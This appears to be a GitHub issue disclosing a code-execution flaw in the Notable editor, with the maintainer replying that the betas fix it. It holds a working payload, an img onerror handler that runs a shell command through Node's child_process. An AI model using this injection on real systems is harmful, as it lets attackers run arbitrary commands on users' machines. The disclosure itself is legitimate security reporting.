RCE Vulnerability in Notable

[Passenger-AMao]

author: AMao@Hillstone
Date: 2022-02-22

Text editing without filtering leads to arbitrary code execution

Payload：

<img src=# onerror="require('child_process').exec('whoami',(error, stdout, stderr)=>{
  alert(`stdout: ${stdout}`);
});">

eg.

[fabiospampinato]

That's fixed in the betas https://github.com/notable/notable-insiders/releases/

Older releases are not maintained.